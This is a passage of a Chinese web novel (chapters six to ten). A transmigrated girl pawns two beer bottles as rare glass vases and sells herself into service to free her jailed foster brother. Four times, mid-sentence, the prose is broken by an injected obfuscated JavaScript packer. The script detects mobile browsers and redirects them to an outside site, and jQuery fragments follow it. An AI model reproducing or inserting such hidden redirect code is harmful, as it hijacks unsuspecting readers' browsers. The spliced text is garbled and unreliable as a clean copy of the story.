“王二丫，快回家叫你娘找媒婆给你议亲去吧，我看你是女大不中留，留来留去留成仇咯！”“江小柳，你倒是留得住，谁不知道你看上同村的刘又青，刚才那般护着刘家姑娘，是提前巴结小姑子呢。”小柳儿又急又羞，丢下手里的衣裳，撩水泼那二丫，旁边其他姑娘也跟着遭了殃，不客气地泼了回来，一时溪边骂声笑声闹成一团，惊起一滩鸥鹭。 刘梨也被淋了个透，湿衣裳裹在身上一点儿都不好受，可是笑闹一番心里酣畅不少，尽扫多日的郁郁。 “快看！”不知谁喊了一声，众人停手，见三两个人正从桥上走过。 “是翠姑，我听说她爹娘把她卖了。” 翠姑挽着个小包袱，跟在他爹后头。走到桥中央停住，微微侧过脸看向昔日的小姐妹，眼圈儿红红的。小柳儿几个站在水里，无声地张了张嘴。翠姑爹折回来把姑娘拽走，翠姑犯了倔劲不肯动，被她爹结结实实地在头上来了两下，这才跟上前面不耐烦的人牙子。 “呸！为了给他那不成器的儿子议亲，硬是把姑娘舍出去了，没心肝的东西！” “翠姑还回来吗？”王二丫痴痴的，看着远去的人影问。 这次没人回答她，村里的女孩们对未来的最大憧憬就是找个可靠妥帖的婆家，因为未知，所以充满了幻想，那是她们少女时代最绮丽的梦。可刚才翠姑爹的两巴掌，让所有人坠入现实，梦想的泡沫炸开，原来啊，女孩的命运从来由不得她。 众人默默相协把衣物浣洗干净，结伴归去。小柳儿又约好刘梨有时间一起做针线，才各自回家。 6. 六 刘家又青 四只小黄鸡，唧唧喳喳挤在笸箩里，黄嘴儿小绒毛，八只黑豆眼，好奇地四下打量。“这只下蛋给爹，这只下蛋给娘，翅上有芦花的给哥哥，最漂亮的这只给我。”“尽说孩子话，鸡仔还小，且分不清公母呢。”刘梨托着小鸡，用脸颊去蹭，毛茸茸的小身体暖暖的，“小柳儿真好，送来这些小鸡仔，我可得想想回个什么礼才好。”刘婆笑笑不答话。刘梨指尖沾了些谷粒，去逗那小鸡来啄，鸟喙啄在手心痒痒的，逗得女孩咯咯直笑。 刘又青进家就是看到这样一幅场景。母亲手上利索地编织柳条，一个纤柔的姑娘坐在她身畔，侧过脸笑着和娘说话，身前毛茸茸的小鸡仔泛着柔光，那姑娘周身也仿佛罩着柔光。听到动静转过脸来，嫩生生的脸上美目顾盼，不由得叫又青愣怔在场。 刘梨见生人，忙起身道：“客有何事？”又青缓缓神，才朝刘婆喊了声：“母亲。” 刘婆闻声丢下编筐，伸手朝儿子奔走过去。刘梨忙扶住她上前，免得被杂物绊倒。刘又青急步上前握住老娘的手，看着母亲涕泪纵横，饶是男儿也有些失态。 “我和师傅送货到附近庄上，特求了师傅绕路来家看看爹娘，明儿一早还得回去。”小半年没见到儿子，刘婆只顾搂着儿说不出话。 刘梨留他们母子在家说话，去地里把干爹叫了回来。又使出本事好好张罗了一桌菜。期间小柳儿来过一趟，送来她做的一些饭食，刘家留她用饭不肯，不过好歹和又青说上了话，然后红着脸跑了。 又青已知刘梨来历，饭桌上见过礼。“这次回来匆忙，没给妹妹备上见面礼。”“蒙爹娘兄长不弃，收留刘梨已是万分感激，哪还敢要兄长的礼。”“我长年不得在家，家中妹妹照料的很好。过些时日收麦，我还要回来的，礼物到时候给妹妹补上。”老夫妇俩听他说收麦还回来，又将地里的事说上一番。 饭后，刘梨陪着刘婆在正房里收拾了一套临时的铺盖。刘梨原说她把房间让出来，“哥哥难得回家，没道理到家了还得打地铺。”刘婆直摇头，“姑娘家娇贵，哪能睡地上？又青他皮糙肉厚的，睡一晚地铺不碍的。” 出来时又青正拾掇刘婆编筐要用的柳条。打好的柳条背回来，去叶蒸煮，趁着热乎劲把皮剥了放院里晾干备用，这样的柳条编出来不生虫，更坚固耐用。别家图省事有直接用青柳条编的，刘婆不允，“不能败坏自家的好名声，该有的工序少不得。”所以她手上长年带着大大小小的伤。又青心疼瞎眼老娘，每次回来都闷头干活，尽可能给爹娘多分担些。 刘梨到柴房看过，里面的柴火全补齐了，直堆到院里。她放在柴房的小鸡仔，挤挤挨挨躲在筐里，手中灯火荧荧，照得小鸡们啾啾叫了几声。 那夜，主屋的油灯很晚才熄。 天没亮的时候院里就有声息，刘梨坐起，想想又躺了回去。“在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021132|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学手艺不要疏懒，师傅跟前嘴甜手勤，有什么不好听的你也别往心里去。”“娘，我知道的。”“喝两碗热粥，赶在城门开前回去，别让师傅不喜。”“哎！”“你爹爹不会说话，这点钱是他让我给你的，你拿着。”“娘，我在那边用不着，你们自己收着。”“我们还有呢。家里你放心，你妹妹照料的很好，左邻右舍也都帮顾着。”又青双手抓住娘的手，频频点头。 “不早了，儿啊，你去吧。” “娘！”又青跪下，重重磕了个头，又朝着主屋道：“爹，儿子走了！” 天色亮起，院里收拾的齐齐整整，连那棵木枣树下也被培了新土。刘梨房门口端端正正摆了两只新柳筐，憨憨的圆筐像两个大窝头，窝头一面留口，顶上有罩，里面厚厚铺着稻草。刘梨立刻喜欢上了，将那窝小鸡仔赶了进去。“娘，我给小柳儿送一个去。” “去吧，你哥哥编了俩，本就想送一个给柳儿的。” “哥哥也会编筐？” “会呢，又青从小手就巧，不管什么到他手里稍加琢磨就能做出来。所以才能被城里的打金铺收徒，昨儿听他说已经快出师了。”刘婆话里满满的骄傲。昨晚几口子聊到很晚，等到又青出师，不管是留在工坊还是出来自立门户，总归是有了立身之本。这些年攒了些积蓄，到时候先把家里收拾起来，旁边再盖上两间，给又青娶回媳妇，咱们家的日子可是越过越兴旺了。 7. 七 惜丰年 风吹麦浪，一波倒伏一波复起，潮汐一般涌向田园深处。刘老儿折下一穗放在手心碾了碾，粗糙的指头小心捏起几颗麦粒放进嘴里，略嚼了嚼，满意地点点头。 刘梨挎只篮子，将田间道旁别人家丢弃的残粒捡起，留着喂小鸡。那群小鸡仔已经换了羽，小小的红冠神气地很，又青哥哥编的柳筐已经住不下它们了。 想到哥哥，刘梨不由问道：“爹，又青哥该回来了吧？我看庄里好几户人家已经开始割麦，咱家是不是也要准备起来了？” “嗯，这几日天好，不管他回不回来咱家都该收麦了。” 远远跑来一人，边跑跑朝这边挥手，嘴里还嚷嚷着什么，太远听不清。跑近了，喘了两口气才对刘老儿说道：“快！你家……你家又青出事了！” 刘梨一晚没怎么睡，下午干爹和报信人出去一夜未归，她一直警醒着留意院里动静。昨天在旁只听了个大概，说是又青在工坊里出了什么事，人已被押去了衙门。刘梨不敢告诉干娘，只说爹爹被外村人叫去帮忙收麦，时下农忙，出去做个零活也是常有的事。 直到上灯，才听到外边隐隐的狗叫。刘梨忙跑出来，见干爹竟是被庄头搀着回家的。刘老儿脸色很不好，庄头把他扶到堂屋坐下，嘱咐刘梨劝干爹进些饭食，能说的方才都说过了，碰上这样的事他也无能为力，看了看一屋的老弱，叹口气，背着手回去了。 刘梨从灶上端了一直温着的米粥进屋，刘婆早感觉到了气氛不对，追着老头子问出了什么事。 “你那糊涂的儿啊！”刘老儿刚开口，眼泪也一并流了下来。“前儿工坊来了位客人，拿一对金镯说要重新打个式样。本来这事轮不着他个学徒，偏那天工坊里只他一人在，聊好了样式，客人说去车里再拿几件金饰打在一起，就把镯子留在柜上出去了。错就错在不该让镯子离了本主，那客人回来后非说镯子不对，拿钳子铰了，只外面一层是金皮，里面竟然是包铜的！”刘婆瞪大了浑浊的眼，“那可怎么办？”“怎么办？那客非说是又青见财起意，调换了金镯子，让咱家又青赔！”缓了缓续道：“一只金镯子一两左右，一对儿可是二两的金子，那就是一百多两的银子呀。”“一百两？他这不是坑人吗，这、这不得去衙门，让太爷给咱做主啊！”刘老儿说到此再不作声，只一个劲叹气。 刘婆推推他，“老头子你别只顾叹气，我儿又青不是贪婪不义之人，你去衙门找太爷好好说清楚，还我家又青清白。”刘老儿抬头望着老伴，扶住她手臂，许久才开口道：“去了。又青当时和那客人就去了衙门，可县太爷不辨是非，上来就一顿杀威棒……我使了钱去狱里探望，可怜我家又青，那身上……竟没一块好皮肉。”刘梨听得心惊肉跳，刘婆闻言更是眼一翻便向后栽去。忙扶到床上躺好，又是掐人中又是揉心窝，好一阵才缓醒过来，无神的眼睛只是流泪。 刘梨在床边服侍了一夜，一家人又是一晚不得安歇，早上俱是面色灰败。几日没好好吃饭，刘老儿胡乱就合一口，说筹钱就出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021133|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。刘婆坐在床上，眼神空洞，嘴里只喃喃喊着：“又青……二娘……”刘梨给她灌米粥，都顺着嘴角流了出来。 小柳儿来过一次，看刘婆这样，红着眼圈道：“刘婆这般像极了二娘去时的样子。我那时小，还记得刘婆眼睛原本是好的，二娘一走，她便哭坏了眼睛。可怜又青哥哥，半大的小子，家里家外不得不操持起来。”想到爹爹说又青如今下了大狱，小柳儿也不再掩饰，痛心地哭了起来。“好了好了，原本是想你来劝劝刘婆，怎的自己倒先哭个不住。”好不容易劝走了她，刘梨倚坐到干娘身边。刚才强撑着劝慰小柳儿，其实自己心底更是哀痛不止。刘婆这个样儿，让她想起外婆最后的时光，也是这般亲眷不分、水米不进，口中只念叨故去的女儿丈夫。病中的人糊涂不清，清醒的人只会更痛苦，看着亲人慢慢失去生命力却无能为力，对活下来的人最是折磨。 天擦黑的时候刘老儿回来了，也不进屋，坐在井台边唉声叹气。刘梨知道定是没筹措到钱，一百两银子，那是庄户人一辈子都不敢奢想的数字。 “爹。” 刘老儿抬头，看着站在门边怯生生的女儿。老天垂怜，又给了他们夫妇一个女儿，眼看日子要好起来了，又塌了天！ “梨儿别担忧，明天我去把那几块地卖了，其他的再想办法。家里有我呢，你和娘好好的啊。” 刘梨别过脸，悄悄擦了擦眼泪。回到房中枯坐，夜鸦微鸣，刘梨一惊，忽然想到什么，觉得或许是个办法。 8. 八 长生库 第二天，刘老儿一早出了门。刘婆还不太清醒，刘梨勉强喂她吃了点米粥，拜托好隔壁的婶子照看干娘，自己挎了个包袱出门。村头的几个婆子婶子看刘梨路过，嘀咕道：“刘家这半道的女儿干啥去？”“都说是半道的女儿了，怕是看刘家不行，自个儿溜了吧？”“那小娼妇，我早就看她不是个安分的。咱们要不要截住她？”“管她干嘛？刘家那一屁股烂账！这几天刘老儿去你家借过钱吧？这时候可别招惹他。”另一个听她这么说，立刻噤了声。 刘梨不知道她们的心思，拿头巾包了脸，一心往城里走。她听小柳儿说过每日这条官道上都有牛车路过，给两文钱就可以捎带到城里。小柳儿邀过刘梨一起去城里玩，她对出门还有些抵触，回回都婉拒了。所幸没走多久就搭上牛车，刘梨坐在车尾听车轮咿咿呀呀，仿佛回到初来这个世界的那天。脑中浮现一个靛蓝的身影，刘梨甩甩头，只去关注沿途景致。这是她素来的习惯，不管去哪里，都留意所经路线，记好坐标参照物，不至于失了方向。 进城已近晌午，刘梨吃了点自带的干粮。身上的钱是刘婆以前给她零用的，不多，她不敢乱花。打听好路线，刘梨径直去了城里最大的解库——“长生库”。 白水城是东西重镇，城内举目重楼画阁，绣户珠帘，长生库就坐落在繁华的主街上。面阔三间的歇山楼，不时有人进进出出，面上或悲或喜。 刘梨跨过高高的门槛，堂内很深，阳光仿佛都照不进。朝前几步，只见柜台上写着“神袍戏衣不当，旗锣伞扇不当，皮货无袱不当，低潮手饰不当”。刘梨正琢磨着，柜台上方探出个脑袋，也不看她，自顾自问道：“当什么？” 柜台太高，刘梨只看到对方下巴，髭髯稀疏，声音冷漠傲慢。“我要当这个，掌柜的给个价。”刘梨向上递出玻璃瓶，却迟迟不见回应。良久，柜台里的人打了个长长的呵欠，才把身子往外又探了探。 长生库的朝奉姓冯，见柜下站着个姑娘，遮了大半张脸，眉眼却是极动人的。冯朝奉涎着脸，一双眼只盯着刘梨，接过姑娘手上的东西，嘴里道：“姑娘家里可是遇上了难事？怎么让你一个女孩家家的抛头露面？” “您只管看东西价值几何，别人家的事犯不着瞎打听。” “哟，有点小脾气。”冯朝奉被刺了一下也不恼，笑容更大。见姑娘不愿搭理他，这才转眼看手上的东西。这一看大惊失色！手上的东西晶莹剔透，触手微凉，料子非瓷非玉，饶是他见多识广一时间也辨不明白。 刘梨见柜上一直没动静，心里不安。这两只啤酒瓶子，在这异世不知算不算异宝，能否当得几两银子解了刘家危难？之前瓶子上沾了脏污，索性把标签都洗净了，她心里怕当铺识出这就是普通玻璃瓶，更怕他们识不出来，进而疑上她的来历。 “姑娘稍待，我叫上我们大掌柜再来看一看。”冯朝奉撂下一句话，然后就是踢里踏拉的脚步声。 等了很久，刘梨心内忐忑，几番欲夺门而去，想到躺在床上的干娘和劳身焦思的干爹，以及生死不明的刘又青，生生忍住了。终于看到冯朝奉领着大掌柜前来。 “怎不看座？”大掌柜伸手朝刘梨请了请，又吩咐道：“上茶。”刘梨浅浅坐了半张椅子，低头不言语。 大掌柜方才听冯朝奉说借当的是位年轻女子，心下纳罕，借着喝茶暗暗观察，确不像来路不正经的样子。见她不说话，大掌柜开口道：“姑娘，容我多一嘴，咱们做解库营生的，常持‘谨慎’之心，不知姑娘的琉璃瓶是个什么来路？” 刘梨就是等他先开口，听他说出“琉璃瓶”三字，就知道这个世间是有琉璃制品的，她这两样东西拿出来也不至于太“惊世骇俗”。 “先祖留下来的，几代更迭，传到吾辈手中。只因家逢变故，这才不得已拿出来，还请大掌柜给个价。” “姑娘是想‘活当’还是‘绝当’？” “‘活当’、‘绝当’又何如？” “‘活当’两方议好时期，姑娘可在议期内赎回所当之物；绝当也叫满当，则是原主完全放弃典物，归解库所有。”末了又加了一句，“当然‘绝当’的银钱可酌情多给一些。” 刘梨听“绝当”价格高些，忙问道：“那大掌柜看我这琉璃瓶‘绝当’价值几何？” 大掌柜听她直接问“绝当”，神情有急切之色，心下了然，慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021134|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条斯理又喝了口茶，给冯朝奉使了个眼色。 冯朝奉立刻心领神会，“姑娘的琉璃瓶虽说是个好东西，可惜器型差了点，若是梅瓶、观音瓶、瓜棱瓶，价格要高上不少。不过姑娘既信得过我们长生库，我们也给您个好价，十五两！” “十五两？”这个价格比刘梨设想的低不少。稳了稳心神，开口道：“朝奉不要拿小妇人玩笑，这琉璃瓶我打听过价格，远不止你说的这个数，长生库要是出不起价，我换一家去。”说完收拾起身要走。冯朝奉刚想栏，大掌柜笑道：“不是我托大，白水城除了我们长生库，别的地方可不敢收你这琉璃瓶。”刘梨停住脚，继续听他道，“先不说别家有没有眼力识货，就算辨出是琉璃瓶，也怕是收不得。”“价格合适便收，怎么就收不得了？”“这样的东西，即便收在手里，出货却很是麻烦。等闲的瓷玉牙角，市面上见得多，有比较，定价不难、出货不难；可这琉璃存世太少，不好比较品相，自然也无从定价格贵贱，所以不一定能卖上好价格，收在手里不值当，不值当……” 刘梨听明白了大掌柜的意思，琉璃瓶流通性弱，保值功能不强，回本也慢，思忖间又坐了回去，想了想道：“不瞒大掌柜，这琉璃瓶本有一对，家里原说只让典当一只，我瞧大掌柜和朝奉是做大买卖的敞亮人，如果价格合适，便把这一对儿都出给长生库，也免得一对琉璃瓶散落分离。”说着，从包袱里拿出另一只瓶子放在桌上。 大掌柜眼睛亮了亮，把瓶子拿在手里，又和刚才那只比了比，一支琉璃瓶已是难得，这样品相好的一对，价格可以噌噌上几级。面上不显，仍淡淡道：“姑娘既如此看得上我们长生库，自然不能委屈了姑娘，这样，一对儿我给您这个数！”说着竖起四指。 刘梨了然，看着对方眼睛，慢慢伸出右掌。 大掌柜无奈摇摇头，刚才还怯生生的姑娘家，这会淡定地和自己讨价还价，倒也有几分胆识。“好！五十两！”转头朝柜上的票台喊道：“立契据！绝当！” 签好当契，收好银票，刘梨看着冯朝奉将那一对“琉璃瓶”小心翼翼收进木盒，心里暗暗同一道穿越而来的“伙伴”告别，转身离去。 9. 九 舍身去 牛车上，刘梨摸了摸贴在心口的银票，稍稍心安。现在将将筹了五十两，离一百两还差一半。干爹说要卖地，可她舍不得，想想家里的地，多招人稀罕啊，那满满的麦穗儿都是一家人辛苦换来的，离了地，庄稼人还靠什么生活？再说几亩薄田也换不得多少银子，干娘的身子要养，又青哥出来后伤要治，干爹年纪大了，这个家却只能依靠他。刘梨真心想出份力，刘家人全心全意待自己，历经两世，在刘家的这段时光是她珍贵的温情记忆，她一定要帮上忙！ 回了家，天已擦黑，院里冷冷清清，几只小鸡仔无人看顾，从窝里跑出来刨食儿。主屋里黑黢黢的，刘婆还在昏睡，刘梨摸了摸被褥，干的，才去灶上做饭食。做好了端去刘婆屋里，人已经醒了，睁着空洞的双眼，喃喃道：“二娘，你回来啦？”刘梨忙应了，将她扶坐起来喂饭。刘婆摇摇头，正推拒着，刘老儿也回来了，一身倦色，闷坐在角落不作声。 刘梨摸出那张银票，“爹爹。” 刘老儿回过神，见姑娘递过来一样东西，本能地接了，打开一看竟是张五十两的银票，惊得站起身，“这是？” “我有两样不常戴的首饰，现下也用不着，今天拿去城里当了，爹且拿去应应急。” “怎么能要你的东西，明儿天一亮就去赎回来！”说着就把银票往刘梨手里塞。 “什么‘你的’‘我的’，爹爹这是不把我当家里人么？眼下紧要的是把又青哥接回来。” 刘婆一旁听到“又青”挣着就要起来，口中哭喊：“我儿，我儿。”刘老儿捏捏手里的票子，终是收下了，“以后家里境况好了，爹帮你把首饰补上。”话这么说心里却是恻然，能当五十两的首饰，不知是怎样的金贵，而家里的境况更不知何时能好转——刘家终究是欠了这个女儿。 刘梨摇头只说不必。“还是我老汉不中用，跑了这几日也筹不出几个钱。赶上收麦的时候卖地，买家都不用特意打听就知道急用换钱，个个把价格压得低贱；还有这老屋，托牙人问了，也是卖不出手的。”“目前还差多少？”“加上你这五十两，约莫七十两，还差三十两左右。”三十两，刘梨心想要是再多一只“琉璃瓶”就好了。 刘老儿看她面色忧愁，安慰道：“闺女你别操心了，就是卖了我这把老骨头，也要把又青接回来。”刘梨听言神思一动，隐约又有了个蠢念头。 第二日又起了个早，依旧往城里去。村头的婆姨们看她还在刘家，颇有些惊疑。 这回进城，刘梨进了城门就下了牛车。白水为北地郡所属，是“九边重镇”之一，乃屯粮、驻军所在。且中原与西域互市通融，白水也是重要一城，其繁华可比拟郡城首府。天色还早，城门口进进出出的商队，挤得她险些避让不及。 刘梨挨着一家家商铺慢慢走访，想找份活计。可细问下针黹女红她都做不好，洗衣洒扫别个瞧她是个年轻姑娘家，怕她吃不来苦，俱是摇头不要。偶有肯收学徒的，工钱却是一分没有，一次次失望令她不免急切，着忙间也不管什么铺子，进去就问收不收做工的。 这家店装潢原极为讲究，门前缚彩楼欢门已见豪奢，进得楼内才知里面更阔朗，中间主廊约长百余步，南北天井两廊兼小阁数间。若是晚晌来，灯烛荧煌，上下相照，胡旋女弦鼓一声双袖举，笑春风，舞罗衣，君今不醉将安归？ 只刘梨此时顾不上其他，拦住个小二哥打听收不收佣工。店里两个闲汉原坐着吃酒，这俩昨晚就开始喝，夜里不知在哪迷瞪会儿，早上醒来犹不尽兴，勾肩搭背坐下就推杯换盏。酒酣处见一小娘子进来找活计，布裙荆钗掩不住的身段风流。遂一左一右裹将上来，一个伸手拽刘梨的篮子一个要去扯刘梨的面巾。 “娘子要找工作，叫声‘好哥哥’，我给娘子介绍份轻省的，不费力气，钱来的还快。”言语轻佻，满嘴的腌臜气。 刘梨紧紧攥着面巾，左冲右突仍是挣脱不得。怒极羞极，拿着篮子胡乱挥舞，却被一把夺了去，手柄把掌心剌破了皮，渗出血痕。小二劝了两句见情况不妙，跑后头叫人去了。两个莽汉气焰更高，靠近姑娘正要调笑，不妨一个脖颈一紧，似被铁钳钳住了脊骨，没待反应过来便被扔了出去，趴在地上动弹不得。另一个刚要开骂，看清来人忙松了手，手里的柳篮掉在地上，大着舌头磕巴道：“杜、杜二爷，我们兄弟喝多了酒，正闹着玩呢，吵着您老人家，您别和我们一般见识。” 刘梨惊魂未定，红着眼抬头，先头一位缁衣的汉子，背身踩着地上那个泼皮，后面一位公子，长身玉立，背光站在门边，看不清面目。 那公子也不说话，眼神似乎掠过刘梨的手，合上扇，才冷冷道：“死囚忘八羔子，一早灌你娘的黄汤，在我铺里闹事。” “小的们知错，以后断不敢了！杜二爷您大人有大量，高抬贵手放了我们两个。”泼皮这会酒全醒了，点头哈腰极尽谄媚。 那杜二爷掸掸袖子，不耐道：“程锏，送他们一程。”缁衣汉子也不言语，一手拎起一个，将两人面对面重重磕了个响，从门内扔了出去。顾不上疼痛，二人忙不迭爬起，慌不择路跑了个没影。 刘梨惶惶捡起柳篮，朝二人福了福便急急离去。她不敢停留，不敢和人再做接触，娄山茶肆里被群狼环伺的感觉复又袭来，她甚至不敢去看搭救她的男人样貌，掩好面巾低头夺门而出。杜淮琤只看到一双凄凄的眼，随着福身滚下一滴泪来，很快便掩住，只留洇润了一室的尘絮。 拭干眼泪，茫茫然不知如何自处，不觉又走到长生库那里。冯朝奉早起无事在街边卖呆，一边趾高气扬地吩咐铺里的小伙计做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021135|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。前日收的那俩琉璃瓶可得了东家的意，众人都得了赏，正美滋滋回味着，定睛一瞧前边不是那日的小娘子还是谁？忙迎过去，笑道：“姑娘又见面了，今日又是带了什么好东西？” 刘梨抬头呆呆看了一眼长生库的匾额，苦道：“贫寒人家哪有多少好东西典当，如今走投无路，只剩自家这没用的躯壳了。” 冯朝奉怎有听不明白的。“哟，姑娘可别往窄了想，日子总是越过越宽的不是。”见她无甚反应，转身准备走，想了想又回转问道：“我多一句嘴，姑娘家里可是有了过不去的难处，急需用钱？”刘梨把眼看向他，点点头。 心下了然，“咱们长生库，偶尔也做牙纪，就这白水城里一大户，一直托咱给他府里找个丫头，相看了几个都不合眼，我看姑娘倒是稳妥人，性情容貌应该能入那家眼。你要是愿意，我带你走一趟？” 刘梨刚受了惊吓，心中疑虑，冯朝奉又道：“那大户离这不远，你同我就在他家角门让管事相看一下，成不成也得人家说了才算。”又补充道：“那家里出手阔绰，或可解姑娘燃眉之急。” 长巷两边一溜的粉墙，高门深户望不见墙内情形，偶有一杆紫竹身姿挺秀，从墙头探出二三竹枝，迎风飘摇。刘梨提篮望着紫竹出神，冯朝奉已叩开门扉，请出一个管事模样的人。 “蒋管家，今儿又给您领来一个，身家清白，人也妥当伶俐，您相看相看？” 那蒋管家围着她转了一圈，像看骡马般打量，姑娘几欲拔腿而跑。冷不丁被扯掉面巾，蒋管家仔细看过脸，一迭声摇头：“不成不成，领回去吧!” “哎哟，您老这都瞧过几个了，前头的嫌粗笨嫌貌丑，如今这模样的小娘子还看不上，我老冯可真没辙咯。” 蒋管家拂拂袖就要往门里去，冯朝奉紧跟上，问道：“到底为何不成，您倒是给我句话，好叫我死的明白。” “我们府里向来门风清正，那位爷更是规矩大，这些年宅子里丫头婆子都没几个，就是容不得些蝎蝎螫螫的。这姑娘……”复看了看那张脸蛋，“我怕她是个生事端的。” “那您就多虑了，这丫头是个沉稳性儿，原是好人家的女儿，若不是老娘病卧在床，家里又周转不开，也舍不得这么个姑娘出来。” “哦？伺候过病人？”这话却是问向刘梨。 “是。”冯朝奉见她只答了一个字，心里急她不会奉承，想帮衬上两句，蒋管家却是露出一丝满意神色。“话不多，倒不会招人烦。”冯朝奉多灵巧，忙接上话头，“可不是，性子沉静，不会冲撞主子，更不是那鼓弄唇舌的。早前府上不就是下面人爱嚼舌根，这才……”蒋管家抬手止住他话头，心里仍有顾虑，但府里急用人，稍作思量，回转身说道：“十二两，愿意就签了身契，入府来吧。” 10. 十 初入杜府 冯朝奉命人套了驴车，遣了文书和刘梨家去。文书在刘婆榻前写好身契，捏着老瞎婆枯瘦的腕子按了手印。刘梨用帕子把干娘手指细细擦干净了，将一小包银子并一封书信塞到刘婆枕下。刘婆似有所感，拉着刘梨手直道：“二娘，二娘，你要哪去？”刘梨哽咽几不能出声，宽慰道：“娘，我有事出去几天，枕头下的东西您收好，等爹回来了给他，就能把又青哥接回来了。”刘婆果然松开手，抱着枕头一遍遍喊“又青、又青”。不及擦去脸上泪痕，刘梨跪下郑重朝上磕了三个响头，依依不舍掩上门。 墙根下的木枣树依稀结了细碎的枣花，舀了半瓢谷糠喂过小鸡仔，最后环顾一圈院子，井台依旧，她却回不来了。 “刘家二娘，走吧。”文书催道。 刘梨点点头，攥着薄薄的包袱皮，孤悄离开。 这头厨院里一架葡萄长得正好，枝枝蔓蔓自成一片阴凉，枝叶间几簇青果，瞧一眼便酸溜溜的津液顿生。掌事的常妈双刀抡舞，将砧板上的肉慢慢斩成肉糜，才乜了眼蒋管家，“厨房不缺人手，把人送别处去吧。”蒋管家凑近道：“只是暂时留用几天，请常妈看看这丫头的品性，若过得去再到别处当差。”常妈手里不停，将肉糜和上调料做馅，“蒋管家当我们厨房是什么？什么不知底细的人都往这送。”“那还不是觉得常妈您会管束人，这才送来，您辛苦带她几天。乡下丫头，虽然笨点干活却有把子力气。”常妈给手里的肉馅搅上劲，抬眼瞄了眼刘梨，“她这小身板不像有力气的，怎么不送针线上去？”蒋管家从厨里找出一块水瓜，正用井水冲洗，答道：“她女红不太好，乡下丫头的手艺怕是入不得府上主子的眼。”“好啊蒋老头，一个茴儿就够笨了，又塞了个别处不要的给我，你当我常妈好性儿是不是？”一边说一边把个碗沿锤的邦邦响。蒋管家刚咬了一大口瓜，腮帮鼓鼓的，他比常妈瘦上一圈，一府的总管对上这个悍妇也是小心翼翼的，紧嚼了几口水瓜，脸上带笑，扯出西苑的大旗：“还不是咱二爷的意思么，给小公子找的侍女，必定得稳妥些。您受累给这丫头调教上几天，若觉得不行，我立马回了二爷把她赶出府去。常妈妈在主子面前向来有体面，您说话，二爷肯定会听的。”这话常妈听得舒服，可多少还有些不甘，拿出和好的面摆在桌案上，让刘梨包几个包子试试。 净过手擦干，在案板上浅浅撒一层面粉，刘梨先擀出薄面皮，用筷子挑起肉馅双手轮转，片刻便包出一屉个头一般儿大的小包子，细密的褶子、鼓囊囊的肚子，透着憨憨的喜气。 “这薄皮的小包子我还是在南方见过，一口一只，倒是能哄哄小少爷多吃几个。” “是常妈面发得好，松软回弹恰到好处，我自己是做不好的，还得向您多请教。”刘梨诚心道，以前家里做小笼包面皮、调馅都是外婆做，她只专心包，今天碰巧用上了。 常妈受用，“罢了，先留下吧。”转身又朝后厨大喊了几声“茴儿、茴儿”，叫出一个十二、三的小丫头，带刘梨先去安顿。蒋管家心一松，才又咬了瓜畅快吃起来。 茴儿绾着两个总角，小圆脸上一双单凤眼，眉毛淡淡的，鼻梁上一圈小雀斑，看到刘梨呲出一口小米牙，透着天真可爱。两人离葡萄架远了，才敢开口：“姐姐一来，晚上也有人陪茴儿说话了！”二人的屋子离厨房不远，左右住的都是厨房里使唤的仆妇，她们的房间最小，仅一张床一套桌椅。茴儿看她只收拾了几件随身的衣裳放进箱笼，忍了忍把到嘴边的话又憋了回去。两人聊了几句闲话，怕常妈唠叨，关了门去厨房听候差遣。 